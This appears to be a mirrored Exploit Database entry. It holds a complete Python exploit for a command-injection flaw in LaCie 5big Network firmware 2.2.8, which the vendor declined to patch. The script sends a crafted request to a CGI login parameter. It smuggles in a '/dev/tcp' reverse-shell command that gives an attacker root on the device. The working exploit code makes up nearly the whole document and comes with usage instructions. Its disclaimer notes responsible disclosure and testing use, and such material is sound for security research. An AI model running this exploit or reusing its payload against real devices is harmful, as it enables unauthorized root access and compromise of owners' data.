LaCie 5big Network 2.2.8 – Command Injection

• Exploit Database
• 92 阅读

• 作者： Timo Sablowski
  日期： 2017-12-07
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/43226/

• #!/usr/bin/python
  
  # Exploit Title: LaCie 5big Network 2.2.8 Command Injection
  # Date: 2017-12-04
  # Exploit Author: Timo Sablowski
  # Contact: ${lastname}@tyntec.com
  # Vendor Homepage: http://www.lacie.com
  # Software Link: http://www.lacie.com/files/lacie-content/download/drivers/5%20Big%20Network.zip
  # Version: 2.2.8
  # Tested on: Linux
  # Platform: Hardware
  #
  # Command Injection Vulnerability (with root privileges) in LaCie's
  # 5big Network appliance running firmware version 2.2.8.
  # Just open a netcat listener and run this script to receive a reverse
  # shell to exploit the vulnerability.
  #
  # This exploit has been released to Seagate in accordance to their
  # responsible disclosure program and is meant to be used for testing
  # and educational purposes only.
  # Please do not use it against any system without prior permission.
  # Use at your own risk.
  #
  # Timeline:
  # 	2017-09-13: Discovery
  #	2017-10-04: Reporting to Seagate
  #		asking to fix the issue until 2017-12-04
  #	2017-11-07: Seagate stating to not fix the vulnerability as the
  #		product has been EOL for a long time
  
  
  import sys, getopt, os, urllib
  
  url_addition = "/cgi-bin/public/edconfd.cgi?method=getChallenge&login="
  blank_payload = "admin|#' ||`/bin/sh -i > /dev/tcp/IP/PORT 0<&1 2>&1` #\\\""
  
  def help():
  	print "Usage:"
  	print "%s -u <baseurl> -l <listener> -p <port>" %os.path.basename(sys.argv[0])
  	print ""
  	print "<baseurl> identifies the target's URL, e.g. http://10.0.0.1:8080"
  	print "<listener> sets the IP where the attacked system connects back to"
  	print "<port> defines the listening port"
  	print ""
  	print "Example: attack LaCie system to connect back to a remote machine (do not forget to open a netcat session)"
  	print "\t %s -u http://10.0.0.1 -l 192.168.0.1 -p 4444" %os.path.basename(sys.argv[0])
  
  
  def create_payload(blank_payload, listener, port):
  	print "[+] Generating payload with IP %s and port %s" %(listener, str(port))
  	payload = blank_payload.replace("IP", listener).replace("PORT", str(port))
  	payload = urllib.quote(payload, safe='')
  	return payload
  
  
  def send_payload(injected_url):
  	print "[+] Sending payload, this might take a few seconds ..."
  	print "[+] Check your listener"
  	try:
  		urllib.urlopen(injected_url)
  	except:
  		raise
  
  
  def main():
  	try:
  		opts, args = getopt.getopt(sys.argv[1:],"hu:l:p:")
  	except:
  		help()
  		sys.exit(1)
  	for opt, arg in opts:
  		if opt == '-h':
  			help()
  			sys.exit()
  		elif opt in ("-u"):
  			url = arg
  		elif opt in ("-l"):
  			listener = arg
  		elif opt in ("-p"):
  			port = int(arg)
  	try:
  		url
  		listener
  		port
  	except:
  		help()
  		sys.exit(1)
  
  	payload = create_payload(blank_payload, listener, port)
   	injected_url = "%s%s%s" %(url, url_addition, payload)
   	send_payload(injected_url)
  
  
  
  if __name__ == "__main__":
  	main()
  

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